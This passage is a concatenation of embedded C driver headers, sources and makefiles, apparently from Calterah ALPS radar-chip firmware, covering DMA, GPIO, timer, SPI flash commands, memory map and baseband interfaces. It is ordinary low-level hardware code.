uint32_t src_gather_en;
uint32_t src_msize;
uint32_t dst_msize;
uint32_t sinc;
uint32_t dinc;
uint32_t int_en;
} dw_dmac_chn_ctrl_t;
typedef struct dw_dmac_channel_config {
uint32_t dst_hw_if;
uint32_t src_hw_if;
uint32_t src_sts_upd_en;
uint32_t dst_sts_upd_en;
uint32_t prot_ctrl;
uint32_t fifo_mode;
uint32_t dst_reload;
uint32_t src_reload;
uint32_t src_hw_if_pol;
uint32_t dst_hw_if_pol;
uint32_t src_hw_hs_sel;
uint32_t dst_hw_hs_sel;
uint32_t suspend;
uint32_t priority;
} dw_dmac_chn_cfg_t;
typedef struct dw_ahb_dmac_descriptor {
uint32_t base;
uint32_t nof_chn;
uint32_t chn_int[INT_TYPE_INVALID];
void *ops;
}dw_dmac_t;
typedef struct dw_ahb_dmac_operation {
int32_t (*enable)(dw_dmac_t *dmac, uint32_t en);
int32_t (*chn_enable)(dw_dmac_t *dmac, uint32_t chn_id, uint32_t en);
int32_t (*sw_request)(dw_dmac_t *dmac, uint32_t chn_id);
int32_t (*int_status)(dw_dmac_t *dmac, dw_dmac_inttype_t int_type);
int32_t (*int_disable)(dw_dmac_t *dmac, dw_dmac_inttype_t int_type);
int32_t (*chn_int_clear)(dw_dmac_t *dmac, uint32_t chn_id, dw_dmac_inttype_t int_type);
int32_t (*chn_int_enable)(dw_dmac_t *dmac, uint32_t chn_id, dw_dmac_inttype_t int_type, uint32_t en);
int32_t (*chn_int_status)(dw_dmac_t *dmac, dw_dmac_inttype_t int_type);
int32_t (*chn_int_raw_status)(dw_dmac_t *dmac, dw_dmac_inttype_t int_type);
int32_t (*chn_scatter)(dw_dmac_t *dmac, uint32_t chn_id, uint32_t interval, uint32_t count);
int32_t (*chn_gather)(dw_dmac_t *dmac, uint32_t chn_id, uint32_t interval, uint32_t count);
int32_t (*chn_config)(dw_dmac_t *dmac, uint32_t chn_id, dw_dmac_chn_cfg_t *cfg);
int32_t (*chn_status_address)(dw_dmac_t *dmac, uint32_t chn_id, uint32_t src_addr, uint32_t dst_addr);
int32_t (*chn_control)(dw_dmac_t *dmac, uint32_t chn_id, dw_dmac_chn_ctrl_t *ctrl);
int32_t (*chn_ll_pointer)(dw_dmac_t *dmac, uint32_t chn_id, uint32_t addr);
int32_t (*chn_address)(dw_dmac_t *dmac, uint32_t chn_id, uint32_t src_addr, uint32_t dst_addr);
} dw_dmac_ops_t;
static inline uint32_t dma_ctrl2regl(dw_dmac_chn_ctrl_t *ctrl)
{
uint32_t l_val = 0;
if (ctrl->llp_src_en) {
l_val |= DMAC_BITS_CTL_LLP_SRC_EN;
}
if (ctrl->llp_dst_en) {
l_val |= DMAC_BITS_CTL_LLP_DST_EN;
}
l_val |= dmac_trans_type(ctrl->tt_fc);
if (ctrl->dst_scatter_en) {
l_val |= DMAC_BITS_CTL_DST_SCATTER_EN;
}
if (ctrl->src_gather_en) {
l_val |= DMAC_BITS_CTL_SRC_GATHER_EN;
}
l_val |= dmac_src_burst_transaction_length(ctrl->src_msize);
l_val |= dmac_dst_burst_transaction_length(ctrl->dst_msize);
l_val |= dmac_src_address_mode_length(ctrl->sinc);
l_val |= dmac_dst_address_mode_length(ctrl->dinc);
if (ctrl->int_en) {
l_val |= DMAC_BITS_CTL_INT_EN;
}
return l_val;
}
static inline uint32_t dma_ctrl2regh(dw_dmac_chn_ctrl_t *ctrl)
{
return (ctrl->block_ts & DMAC_BITS_CTL_BS_MASK);
}
int32_t dw_dmac_install_ops(dw_dmac_t *dev_dmac);
#endif
<file_sep>#ifndef _CASCADE_FRAME_H_
#define _CASCADE_FRAME_H_
#define CASCADE_HEADER_MAGIC (0x4373)
#define CASCADE_PACKAGE_LEN_MAX (0x5000)
#define CASCADE_FRAME_LEN_MAX (0x1000)
#define CASCADE_FRAME_PART_LEN_MAX (0x20)
#define CASCADE_DEF_FRAME_SIZE(header) (((header) >> 8) & 0xFFFF)
#define CASCADE_DEF_FRAME_NUMBER(header) (((header) >> 28) & 0xF)
#define CASCADE_DEF_FRAME_SN(header) (((header) >> 24) & 0xF)
/* word. */
#define CASCADE_CRC32_LEN (1)
#define CASCADE_HEADER_LEN (1)
#define CASCADE_FRAME_CNT_MAX (5)
typedef struct {
uint32_t header;
uint32_t *payload;
uint32_t length;
uint32_t crc32;
} cascade_frame_format_t;
typedef struct cascade_frame {
uint32_t header;
uint32_t *payload;
uint16_t len;
uint16_t handled_size;
uint32_t crc32;
uint8_t crc_valid;
uint8_t crc_done;
uint8_t header_done;
uint8_t payload_done;
} cs_frame_t;
#define FRAME_PART_BASE(frame) \
((frame)->payload + (frame)->handled_size)
#define FRAME_PART_SIZE(frame) \
((((frame)->len - (frame)->handled_size) > CASCADE_FRAME_PART_LEN_MAX) ? (CASCADE_FRAME_PART_LEN_MAX) : ((frame)->len - (frame)->handled_size))
typedef struct {
uint32_t nof_frame;
uint32_t cur_frame_no;
cascade_frame_format_t frame[CASCADE_FRAME_CNT_MAX];
} cascade_tx_runtime_t;
typedef struct {
/* idle, in-progress, full. */
//uint32_t status;
uint32_t handled_size;
uint32_t data[(CASCADE_FRAME_LEN_MAX >> 2) + 2];
} frame_buffer_t;
typedef struct {
uint32_t length;
uint32_t received_size;
uint32_t *payload;
uint32_t crc32;
} cascade_frame_info_t;
typedef struct {
uint32_t total_len;
//uint32_t nof_frame;
uint32_t received_size;
cascade_frame_info_t cur_frame;
frame_buffer_t buffer[2];
} cascade_rx_runtime_t;
#define CASCADE_HEADER_VALID(header) (((header) >> 16) == (CASCADE_HEADER_MAGIC))
#define CASCADE_FRAME_LEN(header) ((header) & 0xFFFF)
#define CASCADE_PACKAGE_LEN(header) ((header) & 0xFFFF)
void cascade_frame_part_update(cs_frame_t *frame, uint32_t split_cnt);
void cascade_frame_reset(cs_frame_t *frame);
#endif
<file_sep>#ifndef _DW_GPIO_H_
#define _DW_GPIO_H_
typedef struct dw_gpio_descriptor {
uint32_t base;
uint32_t int_no;
void *ops;
} dw_gpio_t;
typedef struct dw_gpio_operations {
int32_t (*mode)(dw_gpio_t *dw_gpio, uint32_t gpio_id, uint32_t mode);
int32_t (*set_direct)(dw_gpio_t *dw_gpio, uint32_t gpio_id, uint32_t direct);
int32_t (*get_direct)(dw_gpio_t *dw_gpio, uint32_t gpio_id);
int32_t (*write)(dw_gpio_t *dw_gpio, uint32_t gpio_id, uint32_t level);
int32_t (*read)(dw_gpio_t *dw_gpio, uint32_t gpio_id);
int32_t (*debounce)(dw_gpio_t *dw_gpio, uint32_t gpio_id, uint32_t enable);
int32_t (*int_enable)(dw_gpio_t *dw_gpio, uint32_t gpio_id, uint32_t enable, uint32_t mask);
int32_t (*int_polarity)(dw_gpio_t *dw_gpio, uint32_t gpio_id, uint32_t polarity);
int32_t (*int_all_status)(dw_gpio_t *dw_gpio);
int32_t (*int_status)(dw_gpio_t *dw_gpio, uint32_t gpio_id);
int32_t (*int_raw_status)(dw_gpio_t *dw_gpio, uint32_t gpio_id);
int32_t (*int_clear)(dw_gpio_t *dw_gpio, uint32_t gpio_id);
int32_t (*version)(dw_gpio_t *dw_gpio);
} dw_gpio_ops_t;
typedef enum dw_gpio_port {
DW_GPIO_PORT_A = 0,
DW_GPIO_PORT_B,
DW_GPIO_PORT_C,
DW_GPIO_PORT_D
} dw_gpio_port_t;
typedef enum dw_gpio_direction {
DW_GPIO_DIR_INPUT = 0,
DW_GPIO_DIR_OUTPUT
} dw_gpio_direct_t;
typedef enum dw_gpio_mode {
DW_GPIO_SW_MODE = 0,
DW_GPIO_HW_MODE
} dw_gpio_mode_t;
typedef enum dw_gpio_interrupt_triggle_type {
DW_GPIO_INT_HIGH_LEVEL_ACTIVE = 0,
DW_GPIO_INT_LOW_LEVEL_ACTIVE,
DW_GPIO_INT_RISING_EDGE_ACTIVE,
DW_GPIO_INT_FALLING_EDGE_ACTIVE,
DW_GPIO_INT_BOTH_EDGE_ACTIVE
} dw_gpio_int_active_t;
int32_t dw_gpio_install_ops(dw_gpio_t *dw_gpio);
#endif
<file_sep>CALTERAH_VEL_DEAMB_MF_ROOT = $(CALTERAH_COMMON_ROOT)/vel_deamb_MF
CALTERAH_VEL_DEAMB_MF_CSRCDIR = $(CALTERAH_VEL_DEAMB_MF_ROOT)
CALTERAH_VEL_DEAMB_MF_ASMSRCDIR = $(CALTERAH_VEL_DEAMB_MF_ROOT)
# find all the source files in the target directories
CALTERAH_VEL_DEAMB_MF_CSRCS = $(call get_csrcs, $(CALTERAH_VEL_DEAMB_MF_CSRCDIR))
CALTERAH_VEL_DEAMB_MF_ASMSRCS = $(call get_asmsrcs, $(CALTERAH_VEL_DEAMB_MF_ASMSRCDIR))
# get object files
CALTERAH_VEL_DEAMB_MF_COBJS = $(call get_relobjs, $(CALTERAH_VEL_DEAMB_MF_CSRCS))
CALTERAH_VEL_DEAMB_MF_ASMOBJS = $(call get_relobjs, $(CALTERAH_VEL_DEAMB_MF_ASMSRCS))
CALTERAH_VEL_DEAMB_MF_OBJS = $(CALTERAH_VEL_DEAMB_MF_COBJS) $(CALTERAH_VEL_DEAMB_MF_ASMOBJS)
# get dependency files
CALTERAH_VEL_DEAMB_MF_DEPS = $(call get_deps, $(CALTERAH_VEL_DEAMB_MF_OBJS))
# genearte library
CALTERAH_VEL_DEAMB_MF_LIB = $(OUT_DIR)/lib_calterah_vel_deamb_MF.a
COMMON_COMPILE_PREREQUISITES += $(CALTERAH_VEL_DEAMB_MF_ROOT)/vel_deamb_MF.mk
# library generation rule
$(CALTERAH_VEL_DEAMB_MF_LIB): $(CALTERAH_VEL_DEAMB_MF_OBJS)
$(TRACE_ARCHIVE)
$(Q)$(AR) $(AR_OPT) $@ $(CALTERAH_VEL_DEAMB_MF_OBJS)
# specific compile rules
# user can add rules to compile this library
# if not rules specified to this library, it will use default compiling rules
.SECONDEXPANSION:
$(CALTERAH_VEL_DEAMB_MF_COBJS): $(OUT_DIR)/%.o : %.c $$(COMMON_COMPILE_PREREQUISITES)
$(TRACE_COMPILE)
$(Q)$(CC) -c $(COMPILE_OPT) $(COMPILE_HW_OPT) $< -o $@
.SECONDEXPANSION:
$(CALTERAH_VEL_DEAMB_MF_ASMOBJS): $(OUT_DIR)/%.o : %.s $$(COMMON_COMPILE_PREREQUISITES)
$(TRACE_COMPILE)
$(Q)$(CC) -c $(ASM_OPT) $(COMPILE_HW_OPT) $< -o $@
CALTERAH_COMMON_CSRC += $(CALTERAH_VEL_DEAMB_MF_CSRCS)
CALTERAH_COMMON_ASMSRCS += $(CALTERAH_VEL_DEAMB_MF_ASMSRCS)
CALTERAH_COMMON_COBJS += $(CALTERAH_VEL_DEAMB_MF_COBJS)
CALTERAH_COMMON_ASMOBJS += $(CALTERAH_VEL_DEAMB_MF_ASMOBJS)
CALTERAH_COMMON_LIBS += $(CALTERAH_VEL_DEAMB_MF_LIB)
<file_sep>UNIT_TEST_ROOT = .
CALTERAH_ROOT = $(UNIT_TEST_ROOT)/../..
EMBARC_ROOT = $(CALTERAH_ROOT)/../embarc_osp
UNIT_TEST_CSRCDIRS += $(UNIT_TEST_ROOT)/cutest
UNIT_TEST_INCDIRS += $(UNIT_TEST_ROOT)/cutest $(UNIT_TEST_ROOT) $(CALTERAH_ROOT)/include
UNIT_TEST_CSRCS += $(wildcard $(UNIT_TEST_ROOT)/*.c)
UNIT_TEST_CSRCDIRS += $(CALTERAH_ROOT)/common/math
ifeq ($(CHIP_VER),A)
UNIT_TEST_INCDIRS += $(CALTERAH_ROOT)/common/math $(CALTERAH_ROOT)/common/baseband \
$(CALTERAH_ROOT)/common/fmcw_radio/alps_a $(CALTERAH_ROOT)/common/fsm \
$(CALTERAH_ROOT)/common/track $(CALTERAH_ROOT)/common/cluster \
$(CALTERAH_ROOT)/common/sensor_config \
$(CALTERAH_ROOT)/common/fmcw_radio
endif
ifeq ($(CHIP_VER),B)
UNIT_TEST_INCDIRS += $(CALTERAH_ROOT)/common/math $(CALTERAH_ROOT)/common/baseband \
$(CALTERAH_ROOT)/common/fmcw_radio/alps_b $(CALTERAH_ROOT)/common/fsm \
$(CALTERAH_ROOT)/common/track $(CALTERAH_ROOT)/common/cluster \
$(CALTERAH_ROOT)/common/sensor_config \
$(CALTERAH_ROOT)/common/fmcw_radio
endif
UNIT_TEST_CSRCS += $(foreach dir, $(UNIT_TEST_CSRCDIRS), $(wildcard $(dir)/*.c))
ifeq ($(CHIP_VER),A)
UNIT_TEST_CSRCS += $(CALTERAH_ROOT)/common/fmcw_radio/alps_a/fmcw_radio.c $(CALTERAH_ROOT)/common/baseband/radar_sys_params.c \
$(CALTERAH_ROOT)/common/fmcw_radio/alps_a/radio_ctrl.c
endif
ifeq ($(CHIP_VER),B)
UNIT_TEST_CSRCS += $(CALTERAH_ROOT)/common/fmcw_radio/alps_b/fmcw_radio.c $(CALTERAH_ROOT)/common/baseband/radar_sys_params.c \
$(CALTERAH_ROOT)/common/fmcw_radio/alps_b/radio_ctrl.c
endif
CC = gcc
CFLAGS = -O2
CHIP ?= ALPS_A
UNIT_TEST_DEF = -DUNIT_TEST -DCHIP_$(CHIP)
UNIT_TEST_OBJS = $(UNIT_TEST_CSRCS:%.c=%.o)
CFLAGS += $(addprefix -I, $(UNIT_TEST_INCDIRS))
AllTest : $(UNIT_TEST_CSRCS)
$(CC) $(CFLAGS) $(UNIT_TEST_DEF) $(UNIT_TEST_CSRCS) -lm -o alltest
.PHONY : clean
clean :
@rm ./.depend
@rm alltest
@rm *.o
@rm *.d
<file_sep>#ifndef FUNC_SAFETY_H
#define FUNC_SAFETY_H
#ifdef UNIT_TEST
#include "calterah_unit_test.h"
#else
#include "embARC_toolchain.h"
#endif
typedef struct func_safety {
uint32_t dummy;
} func_safety_t;
void func_safety_init(func_safety_t *fsm);
void func_safety_start(func_safety_t *fsm);
void func_safety_stop(func_safety_t *fsm);
#endif
<file_sep>ifeq ($(CHIP_VER), A)
include $(CALTERAH_ROOT)/common/fmcw_radio/alps_a/alps_a.mk
CALTERAH_INC_DIR += $(CALTERAH_ROOT)/common/fmcw_radio/alps_a
endif
ifeq ($(CHIP_VER),B)
include $(CALTERAH_ROOT)/common/fmcw_radio/alps_b/alps_b.mk
CALTERAH_INC_DIR += $(CALTERAH_ROOT)/common/fmcw_radio/alps_b
endif
ifeq ($(CHIP_VER),MP)
include $(CALTERAH_ROOT)/common/fmcw_radio/alps_mp/alps_mp.mk
CALTERAH_INC_DIR += $(CALTERAH_ROOT)/common/fmcw_radio/alps_mp
endif
<file_sep>#ifndef _INSTRUCTION_H_
#define _INSTRUCTION_H_
#define CMD_READ_ID (0x9F)
#define CMD_READ_JEDEC (0x5A)
#define CMD_QUAD_ID (0xAF)
#define CMD_READ_RSTS1 (0x05)
#define CMD_READ_RSTS2 (0x07)
#define CMD_READ_RCONFIG (0x35)
#define CMD_READ_ANY_REG (0x65)
#define CMD_WRITE_STS1_CFG1 (0x01)
#define CMD_WRITE_DISABLE (0x04)
#define CMD_WRITE_ENABLE (0x06)
#define CMD_WRITE_ANY_REG (0x71)
#define CMD_CLEAR_STS1_EP (0x30)
#define CMD_CLEAR_STS1 (0x82)
#define CMD_4BYTE_ADDR (0xB7)
#define CMD_SET_BURST_LEN (0xC0)
#define CMD_EVALUATE_ERASE_STS (0xD0)
#define CMD_ECC_READ (0x19)
#define CMD_4ECC_READ (0x18)
#define CMD_READ_DLP (0x41)
#define CMD_PROG_NV_DLR (0x43)
#define CMD_WRITE_V_DLR (0x4A)
#define CMD_READ (0x03)
//#define CMD_4READ (0x13)
#define CMD_FAST_READ (0x0B)
//#define CMD_4FAST_READ (0x0C)
#define CMD_QO_READ (0x6B)
#define CMD_Q_READ (0xEB)
//#define CMD_Q_4READ (0xEC)
#define CMD_PAGE_PROG (0x02)
#define CMD_4PAGE_PROG (0x12)
#define CMD_QPP_PROG (0x32)
#define CMD_PARAM_ERASE (0x20)
#define CMD_4PARAM_ERASE (0x21)
#define CMD_SE (0xD8)
#define CMD_4SE (0xDC)
#define CMD_RST_ENABLE (0x66)
#define CMD_RST (0x99)
#define CMD_LEGACY_RST (0xF0)
#define CMD_MODE_BIT_RST (0xFF)
#define CMD_PGSP (0x85)
#define CMD_PGRS (0x8A)
#define CMD_ERSP (0x75)
#define CMD_ERRS (0x7A)
#endif
<file_sep>#ifndef _ALPS_MMAP_H_
#define _ALPS_MMAP_H_
#define REL_REGBASE_ROM (0x00000000U)
#define REL_REGBASE_ICCM (0x00100000U)
#define REL_REGBASE_XIP_MMAP (0x00300000U)
#define REL_BASE_SRAM (0x00770000U)
#define REL_BASE_BB_SRAM (0x00800000U)
#define REL_BASE_DCCM (0x00A00000U)
#define REL_REGBASE_EMU (0x00B00000U)
#define REL_REGBASE_TIMER0 (0x00B10000U)
#define REL_REGBASE_CLKGEN (0x00B20000U)
#define REL_REGBASE_UART0 (0x00B30000U)
#define REL_REGBASE_UART1 (0x00B40000U)
#define REL_REGBASE_I2C0 (0x00B50000U)
#define REL_REGBASE_SPI0 (0x00B60000U)
#define REL_REGBASE_SPI1 (0x00B70000U)
#define REL_REGBASE_SPI2 (0x00B80000U)
#define REL_REGBASE_QSPI (0x00B90000U)
#define REL_REGBASE_DMU (0x00BA0000U)
#define REL_REGBASE_CAN0 (0x00BB0000U)
#define REL_REGBASE_CAN1 (0x00BC0000U)
#define REL_REGBASE_PWM (0x00BD0000U)
#define REL_REGBASE_GPIO (0x00BE0000U)
#define REL_REGBASE_EFUSE (0x00BF0000U)
#define REL_REGBASE_BB (0x00C00000U)
#define REL_REGBASE_CRC (0x00C10000U)
#define REL_REGBASE_HDMA (0x00C20000U)
#define REL_REGBASE_XIP (0x00D00000U)
#define REL_REGBASE_LVDS (0x00D10000U)
#define REL_NON_CACHED_BASE (REL_BASE_BB_SRAM)
#define REL_XIP_MMAP_LEN (0x00400000U)
#define REL_XIP_MMAP_MAX (0x00700000U)
#endif
<file_sep>#include "embARC.h"
void emu_init(void)
{
return;
}
<file_sep>
CALTERAH_ROOT = ../../calterah/
BOOT_INCDIRS += $(CALTERAH_ROOT)/common/fmcw_radio
<file_sep>#include "embARC_toolchain.h"
#include "embARC_error.h"
#include "mux.h"
#include "embARC.h"
#include "embARC_debug.h"
#include "alps_module_list.h"
#include "alps_dmu_reg.h"
#include "alps_dmu.h"
#include "baseband_hw.h"
#include "cascade.h"
#ifdef UNIT_TEST
#define UDELAY(us)
#else
#define UDELAY(us) chip_hw_udelay(us);
#endif
/* ahb bus data write to baseband */
void dmu_hil_ahb_write(uint32_t hil_data)
{
raw_writel(REL_REGBASE_DMU + REG_DMU_HIL_DAT_OFFSET, hil_data);
}
bool dmu_hil_input_mux(bool input_mux)
{
bool old = raw_readl(REL_REGBASE_DMU + REG_DMU_HIL_ENA_OFFSET);
raw_writel(REL_REGBASE_DMU + REG_DMU_HIL_ENA_OFFSET, input_mux); /* 1 -- gpio input; 0 -- ahb input */
return old;
}
void dmu_adc_reset(void)
{
#ifdef CHIP_CASCADE
if (chip_cascade_status() == CHIP_CASCADE_MASTER) {
raw_writel(REL_REGBASE_DMU + REG_DMU_ADC_RSTN_OFFSET, 0); // asserted reset_n
UDELAY(10);
raw_writel(REL_REGBASE_DMU + REG_DMU_ADC_RSTN_OFFSET, 1); // deasserted reset_n
}
#endif // CHIP_CASCADE
}
<file_sep>#include <string.h>
#include "embARC_toolchain.h"
#include "embARC_error.h"
#include "embARC_debug.h"
#include "arc_exception.h"
#include "dw_timer_reg.h"
#include "dw_timer.h"
static int32_t dw_timer_enable(dw_timer_t *timer, uint32_t id, uint32_t en)
{
int32_t result = E_OK;
if ( (NULL == timer) || (id >= timer->timer_cnt)) {
result = E_PAR;
} else {
uint32_t reg = DW_TIMER_N_REG_CONTROL_OFFSET(id) + timer->base;
uint32_t value = raw_readl(reg);
if (en) {
value |= DW_TIMER_BIT_EN;
} else {
value &= ~DW_TIMER_BIT_EN;
}
raw_writel(reg, value);
}
return result;
}
static int32_t dw_timer_load_count_update(dw_timer_t *timer, uint32_t id, uint32_t count)
{
int32_t result = E_OK;
if ( (NULL == timer) || (id >= timer->timer_cnt)) {
result = E_PAR;
} else {
uint32_t reg = DW_TIMER_N_REG_LOADCOUNT_OFFSET(id) + timer->base;
raw_writel(reg, count);
}
return result;
}
static int32_t dw_timer_load_count2_update(dw_timer_t *timer, uint32_t id, uint32_t count)
{
int32_t result = E_OK;
if ( (NULL == timer) || (id >= timer->timer_cnt)) {
result = E_PAR;
} else {
uint32_t reg = DW_TIMER_N_REG_LOADCOUNT2_OFFSET(id) + timer->base;
raw_writel(reg, count);
}
return result;
}
static int32_t dw_timer_current_count(dw_timer_t *timer, uint32_t id, uint32_t *cur)
{
uint32_t result = E_OK;
if ( (NULL == timer) ||(id >= timer->timer_cnt)) {
result = E_PAR;
} else {
uint32_t reg = DW_TIMER_N_REG_CURCOUNT_OFFSET(id) + timer->base;
*cur = raw_readl(reg);
}
return result;
}
static int32_t dw_timer_int_mask(dw_timer_t *timer, uint32_t id, uint32_t mask)
{
int32_t result = E_OK;
if ( (NULL == timer) || (id >= timer->timer_cnt)) {
result = E_PAR;
} else {
uint32_t reg = DW_TIMER_N_REG_CONTROL_OFFSET(id) + timer->base;
uint32_t value = raw_readl(reg);
if (mask) {
value |= DW_TIMER_BIT_INT_MASK;
} else {
value &= ~DW_TIMER_BIT_INT_MASK;
}
raw_writel(reg, value);
}
return result;
}
static int32_t dw_timer_int_clear(dw_timer_t *timer, uint32_t id)
{
int32_t result = E_OK;
if ( (NULL == timer) || (id >= timer->timer_cnt)) {
result = E_PAR;
} else {
uint32_t reg = DW_TIMER_N_REG_NEOI_OFFSET(id) + timer->base;
result = raw_readl(reg);
}
return result;
}
static int32_t dw_timer_int_status(dw_timer_t *timer, uint32_t id)
{
int32_t result = E_OK;
if ( (NULL == timer) || (id >= timer->timer_cnt)) {
result = E_PAR;
} else {
uint32_t reg = DW_TIMER_N_REG_INT_STS_OFFSET(id) + timer->base;
result = raw_readl(reg);
}
return result;
}
static int32_t dw_timer_status_clear(dw_timer_t *timer)
{
int32_t result = E_OK;
if ( (NULL == timer) ) {
result = E_PAR;
} else {
uint32_t reg = DW_TIMER_REG_EOI_OFFSET + timer->base;
result = raw_readl(reg);
}
return result;
}
static int32_t dw_timer_raw_status(dw_timer_t *timer)
{
int32_t result = E_OK;
if ( (NULL == timer) ) {
result = E_PAR;
} else {
uint32_t reg = DW_TIMER_REG_RAW_INT_STS_OFFSET + timer->base;
result = raw_readl(reg);
}
return result;
}
static int32_t dw_timer_status(dw_timer_t *timer)
{
int32_t result = E_OK;
if ( (NULL == timer) ) {
result = E_PAR;
} else {
uint32_t reg = DW_TIMER_REG_INT_STS_OFFSET + timer->base;
result = raw_readl(reg);
}
return result;
}
static int32_t dw_timer_mode(dw_timer_t *timer, uint32_t id, uint32_t mode)
{
int32_t result = E_OK;
if ( (NULL == timer) || (id >= timer->timer_cnt) ) {
result = E_PAR;
} else {
uint32_t reg = DW_TIMER_N_REG_CONTROL_OFFSET(id) + timer->base;
uint32_t value = raw_readl(reg);
if (mode) {
value |= DW_TIMER_BIT_MODE;
} else {
value &= ~DW_TIMER_BIT_MODE;
}
raw_writel(reg, value);
}
return result;
}
static int32_t dw_timer_pwm(dw_timer_t *timer, uint32_t id, uint32_t pwm_en, uint32_t pwm_0n100_en)
{
int32_t result = 0;
if ( (NULL == timer) || (id >= timer->timer_cnt)) {
result = E_PAR;
} else {
uint32_t reg = DW_TIMER_N_REG_CONTROL_OFFSET(id) + timer->base;
uint32_t value = raw_readl(reg);
if (pwm_en) {
value |= DW_TIMER_BIT_PWM_EN;
} else {
value &= ~DW_TIMER_BIT_PWM_EN;
}
if (pwm_0n100_en) {
value |= DW_TIMER_BIT_0N100PWM_EN;
} else {
value &= ~DW_TIMER_BIT_0N100PWM_EN;
}
raw_writel(reg, value);
}
return result;
}
static uint32_t dw_timer_version(dw_timer_t *timer)
{
uint32_t result = E_OK;
if ( (NULL == timer) ) {
result = E_PAR;
} else {
uint32_t reg = DW_TIMER_REG_VERSION_OFFSET + timer->base;
result = raw_readl(reg);
}
return result;
}
static dw_timer_ops_t basic_timer_ops = {
.enable = dw_timer_enable,
.load_count_update = dw_timer_load_count_update,
.load_count2_update = dw_timer_load_count2_update,
.current_count = dw_timer_current_count,
.int_mask = dw_timer_int_mask,
.int_clear = dw_timer_int_clear,
.int_status = dw_timer_int_status,
/* for module. */
.mod_int_clear = dw_timer_status_clear,
.mod_int_raw_status = dw_timer_raw_status,
.mod_int_status = dw_timer_status,
.mode = dw_timer_mode,
.pwm = dw_timer_pwm,
.version = dw_timer_version
};
int32_t dw_timer_install_ops(dw_timer_t *timer)
{
int32_t result = E_OK;
if ( (NULL == timer) ) {
result = E_PAR;
} else {
timer->ops = (void *)&basic_timer_ops;
}
return result;
}
<file_sep>#ifndef BASEBAND_H
#define BASEBAND_H
#include "fmcw_radio.h"
#include "track.h"
#include "cluster.h"
#include "func_safety.h"
#include "radar_sys_params.h"
#include "baseband_hw.h"
typedef struct baseband {
radar_sys_params_t sys_params;
fmcw_radio_t radio;
baseband_hw_t bb_hw;
cluster_t cluster;
track_t* track;
func_safety_t fsm;
void *cfg;
} baseband_t;
#define FI_FIXED \
{ \
.strategy = FIXED, \
.sw_num = 1, \
.sel_0 = CFG_0, \
.sel_1 = CFG_0, \
}
#define FI_ROTATE \
{ \
.strategy = ROTATE, \
.sw_num = NUM_FRAME_TYPE, \
.sel_0 = CFG_0, \
.sel_1 = CFG_1, \
}
#define FI_AIR_CONDITIONER \
{ \
.strategy = AIR_CONDITIONER,\
.sw_num = 100, \
.sel_0 = CFG_0, \
.sel_1 = CFG_1, \
}
#define FI_VELAMB \
{ \
.strategy = VELAMB, \
.sw_num = 3, \
.sel_0 = CFG_0, \
.sel_1 = CFG_1, \
}
typedef struct frame_intrlv { // frame interleaving
uint8_t strategy; // FIXMED or ROTATE or AIR_CONDITIONER or VELAMB or customized by yourself
uint32_t sw_num; // loop period or switch number
uint8_t sel_0; // 1st frame type selected
uint8_t sel_1; // 2nd frame type selected
} frame_intrlv_t;
int32_t baseband_init(baseband_t *bb);
void baseband_clock_init();
void baseband_start(baseband_t *bb);
void baseband_stop(baseband_t *bb);
void baseband_scan_stop(void);
int32_t baseband_dump_init(baseband_t *bb, bool sys_buf_store);
void baseband_start_with_params(baseband_t *bb, bool radio_en, bool tx_en, uint16_t sys_enable, bool cas_sync_en, uint8_t sys_irp_en, bool track_en);
baseband_t* baseband_get_bb(uint32_t idx);
baseband_t* baseband_get_cur_bb();
uint8_t baseband_get_cur_idx();
uint8_t baseband_get_cur_frame_type();
void baseband_set_cur_frame_type(uint8_t ft);
baseband_t* baseband_get_rtl_frame_type();
void baseband_frame_type_reset();
baseband_t* baseband_frame_interleave_cfg(uint8_t frame_loop_pattern);
void baesband_frame_interleave_cnt_clr();
baseband_t* baseband_frame_interleave_recfg();
void baesband_frame_interleave_strategy_set(uint8_t strategy, uint32_t sw_num, uint8_t sel_0, uint8_t sel_1);
void baesband_frame_interleave_strategy_return();
bool bit_parse(uint32_t num, uint16_t bit_mux[]);
uint16_t get_ref_tx_antenna(uint32_t patten[]);
bool get_tdm_tx_antenna_in_chirp(uint32_t patten[], uint8_t chip_idx, uint32_t chirp_tx_mux[]);
int8_t bpm_patten_check(uint16_t bit_mux[], uint8_t chip_idx, uint16_t refer_phase, uint8_t pat_num);
int8_t get_bpm_tx_antenna_in_chirp(uint32_t patten[], uint8_t chip_idx, uint32_t chirp_tx_mux[]);
void baseband_hil_input_enable(baseband_t *bb);
void baseband_hil_input_disable(baseband_t *bb);
void baseband_hil_dump_enable(baseband_t *bb);
void baseband_hil_dump_done(baseband_t *bb);
#ifdef CHIP_CASCADE
void baseband_cascade_sync_handler();
void baseband_cascade_sync_wait(baseband_hw_t *bb_hw);
void baseband_cascade_sync_init();
void baseband_cascade_handshake();
#endif
#define CONTAINER_OF(ptr, type, member) ({ \
const typeof( ((type *)0)->member ) *__mptr = (ptr); \
(type *)( (char *)__mptr - offsetof(type,member) );})
#ifdef CHIP_ALPS_A
#define DIV_RATIO(val, F_SD) ((val) * 1e3 / 8 / (F_SD) - 16) * (1L<<24)
#define INV_DIV_RATIO(val, F_SD) (1.0 * (val) / (1L<<24) + 16) * 8 * (F_SD) / 1000
#define FREQ_SYNTH_SD_RATE 400 /* in MHz */
#elif CHIP_ALPS_B
#define DIV_RATIO(val, F_SD) ((val) * 1e3 / 8 / (F_SD) - 16) * (1L<<28)
#define INV_DIV_RATIO(val, F_SD) (1.0 * (val) / (1L<<28) + 16) * 8 * (F_SD) / 1000
#define FREQ_SYNTH_SD_RATE FMCW_SDM_FREQ /* in MHz */
#elif CHIP_ALPS_MP
#define DIV_RATIO(val, F_SD) ((val) * 1e3 / 8 / (F_SD) - 16) * (1L<<28)
#define INV_DIV_RATIO(val, F_SD) (1.0 * (val) / (1L<<28) + 16) * 8 * (F_SD) / 1000
#define FREQ_SYNTH_SD_RATE FMCW_SDM_FREQ /* in MHz */
#endif
#endif
<file_sep>/* Standard includes. */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
/* FreeRTOS includes. */
#include "FreeRTOS.h"
#include "task.h"
/* FreeRTOS+CLI includes. */
#include "FreeRTOS_CLI.h"
/* sensor includes. */
#include "sensor_config.h"
#include "baseband.h"
#include "radio_ctrl.h"
#define READ_BACK_LEN 64
static char readBack[READ_BACK_LEN];
static int readBackLen;
static bool fmcw_radio_cli_registered = false;
/* radio register command */
static BaseType_t radioRegCommand(char *pcWriteBuffer, size_t xWriteBufferLen, const char *pcCommandString);
/* radio register dump command*/
static BaseType_t radioRegDumpCommand(char *pcWriteBuffer, size_t xWriteBufferLen, const char *pcCommandString);
